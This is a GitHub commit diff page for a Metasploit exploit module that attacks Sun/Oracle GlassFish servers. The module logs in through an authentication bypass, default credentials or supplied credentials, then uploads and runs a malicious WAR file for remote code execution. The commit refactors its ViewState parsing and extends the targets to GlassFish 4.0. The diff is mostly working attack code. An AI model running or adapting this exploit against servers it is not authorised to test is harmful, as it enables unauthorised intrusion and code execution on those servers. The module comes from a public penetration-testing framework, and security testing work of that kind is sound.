Skip to content

Commit 5c98da0

Browse files
committed
This works for Glassfish 4.0 & 9.1
1 parent c826785 commit 5c98da0

File tree

1 file changed

+49
-50
lines changed

1 file changed

+49
-50
lines changed

modules/exploits/multi/http/glassfish_deployer.rb

Lines changed: 49 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'nokogiri'
78
require 'metasploit/framework/login_scanner/glassfish'
89
require 'metasploit/framework/credential_collection'
910

@@ -17,33 +18,30 @@ def initialize(info={})
1718
super(update_info(info,
1819
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
1920
'Description' => %q{
20-
This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
21-
instance using a default credential, uploads, and executes commands via deploying
22-
a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
23-
this module will try to bypass authentication instead by sending lowercase HTTP verbs.
21+
This module logs in to an GlassFish Server (Open Source or Commercial) using various
22+
methods (such as authentication bypass, default credentials, or user-supplied login),
23+
and deploys a malicious war file in order to get remote code execution. It has been
24+
tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x.
2425
},
2526
'License' => MSF_LICENSE,
2627
'Author' =>
2728
[
28-
# Msf module for Glassfish 3.0
29-
'juan vazquez',
30-
# Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
31-
'Joshua Abraham <jabra[at]rapid7.com>',
32-
# Rewrite for 3.0, 3.1 (Commercial or Open Source)
33-
'sinn3r',
29+
'juan vazquez', # Msf module for Glassfish 3.0
30+
'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
31+
'sinn3r' # Rewrite for everything
3432
],
3533
'References' =>
3634
[
3735
['CVE', '2011-0807'],
38-
['OSVDB', '71948'],
36+
['OSVDB', '71948']
3937
],
40-
'Platform' => 'win',
38+
'Platform' => ['win', 'linux', 'java'],
4139
'Targets' =>
4240
[
4341
[ 'Automatic', { } ],
4442
[ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
4543
[ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
46-
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
44+
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4745
],
4846
'DisclosureDate' => "Aug 4 2011",
4947
'DefaultTarget' => 0))
@@ -211,9 +209,7 @@ def get_delete_info(session, version, app='')
211209
return nil
212210
end
213211

214-
input_id = "javax.faces.ViewState"
215-
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
216-
viewstate = res.body.scan(p)[0][0]
212+
viewstate = get_viewstate(res.body)
217213

218214
entry = nil
219215
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
@@ -287,8 +283,8 @@ def get_version(res)
287283
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
288284
edition = 'Open Source' if banner =~ p
289285

290-
#Set version. Some GlassFish servers return banner "GlassFish v3".
291-
if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
286+
# Set version. Some GlassFish servers return banner "GlassFish v3".
287+
if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
292288
version = $2
293289
elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
294290
version = $1
@@ -487,6 +483,22 @@ def get_upload_data(opts = {})
487483
return data
488484
end
489485

486+
def get_viewstate(body)
487+
@vewstate ||= lambda {
488+
noko = Nokogiri::HTML(body)
489+
inputs = noko.search('input')
490+
hidden_inputs = []
491+
inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
492+
hidden_inputs.each do |e|
493+
if e.attributes['name'].text == 'javax.faces.ViewState'
494+
return e.attributes['value'].text
495+
end
496+
end
497+
498+
''
499+
}.call
500+
end
501+
490502
#
491503
# Upload our payload, and execute it. This function will also try to automatically
492504
# clean up after itself.
@@ -503,40 +515,27 @@ def upload_exec(opts = {})
503515
path = "/applications/upload.jsf?appType=webApp"
504516
res = send_glassfish_request(path, @verbs['GET'], session)
505517

506-
#Obtain some properties
507-
begin
508-
p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
509-
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
510-
viewstate = res.body.scan(p1)[0][0]
511-
status_checkbox = res.body.scan(p2)[0][0]
512-
boundary = rand_text_alphanumeric(28)
513-
rescue
514-
print_error("Unable to gather required data for file upload")
515-
return
516-
end
518+
# Obtain some properties
519+
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
520+
viewstate = get_viewstate(res.body)
521+
status_checkbox = res.body.scan(p2)[0][0]
522+
boundary = rand_text_alphanumeric(28)
517523
else
518524
path = "/common/applications/uploadFrame.jsf"
519525
res = send_glassfish_request(path, @verbs['GET'], session)
520526

521-
#Obtain some properties
522-
begin
523-
#start is only for dynamic arguments in POST data
524-
res.body =~ /propertySheetSection(\d{3})/
525-
start = $1
526-
p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
527-
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
528-
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
529-
530-
rnd_text = rand_text_alphanumeric(29)
531-
532-
viewstate = res.body.scan(p1)[0][0]
533-
typefield = res.body.scan(p2)[0][0]
534-
status_checkbox = res.body.scan(p3)[0][0]
535-
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
536-
rescue
537-
print_error("Unable to gather required data for file upload")
538-
return
539-
end
527+
# Obtain some properties
528+
res.body =~ /propertySheetSection(\d{3})/
529+
start = $1
530+
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
531+
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
532+
533+
rnd_text = rand_text_alphanumeric(29)
534+
535+
viewstate = get_viewstate(res.body)
536+
typefield = res.body.scan(p2)[0][0]
537+
status_checkbox = res.body.scan(p3)[0][0]
538+
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
540539
end
541540

542541
# Get upload data
@@ -604,7 +603,7 @@ def upload_exec(opts = {})
604603
# Sleep for a bit before cleanup
605604
select(nil, nil, nil, 5)
606605

607-
#Start undeploying
606+
# Start undeploying
608607
print_status("Getting information to undeploy...")
609608
viewstate, entry = get_delete_info(session, version, app_base)
610609
if !viewstate
@@ -746,7 +745,7 @@ def exploit
746745
sid = attempt_login(version)
747746

748747
unless sid
749-
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate login")
748+
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
750749
end
751750

752751
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target

0 commit comments

Comments
 (0)